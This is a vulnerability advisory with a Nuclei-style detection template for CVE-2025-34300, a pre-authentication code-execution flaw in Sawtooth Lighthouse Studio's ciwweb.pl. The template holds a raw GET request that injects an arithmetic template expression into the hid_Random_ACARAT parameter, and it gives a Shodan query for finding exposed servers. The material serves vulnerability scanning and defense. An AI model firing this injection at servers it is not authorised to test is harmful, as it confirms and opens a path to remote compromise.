A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
PoC
id: CVE-2025-34300
info:
name: SawtoothSoftware Lighthouse Studio < 9.16.14 - Pre-Auth Remote Code Execution
author: assetnote,DhiyaneshDK,iamnoooob
severity: critical
description: |
A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
impact: |
Unauthenticated attackers can execute arbitrary Perl code through the hid_Random_ACARAT parameter due to unsafe eval usage, achieving complete server compromise.
remediation: |
Upgrade to Sawtooth Software Lighthouse Studio version 9.16.14 or later that removes unsafe eval usage in ciwweb.pl.
reference:
- https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
- https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio
- https://nvd.nist.gov/vuln/detail/CVE-2025-34300
classification:
epss-score: 0.79171
epss-percentile: 0.99577
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-34300
cwe-id: CWE-1336,CWE-20
metadata:
verified: true
max-request: 1
shodan-query: html:"Lighthouse Studio"
tags: cve,cve2025,lighthouse-studio,sawtoothsoftware,rce,ssti,vkev,vuln
variables:
num1: "{{rand_int(40000, 44800)}}"
num2: "{{rand_int(40000, 44800)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25{{num1}}*{{num2}}%25]&hid_Random_ACARAT=x HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'name="hid_Random_ACARAT" value="{{result}}"'
- type: status
status:
- 200
# digest: 4a0a0047304502203c2da30bacb816a433b469d6017e52992b07fb5c07e6240bd52d7e392d4e61600221008bc4a7bef7192c98933d4ffd733a904a039b5fe8cf794eee96b804c953a7e55b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.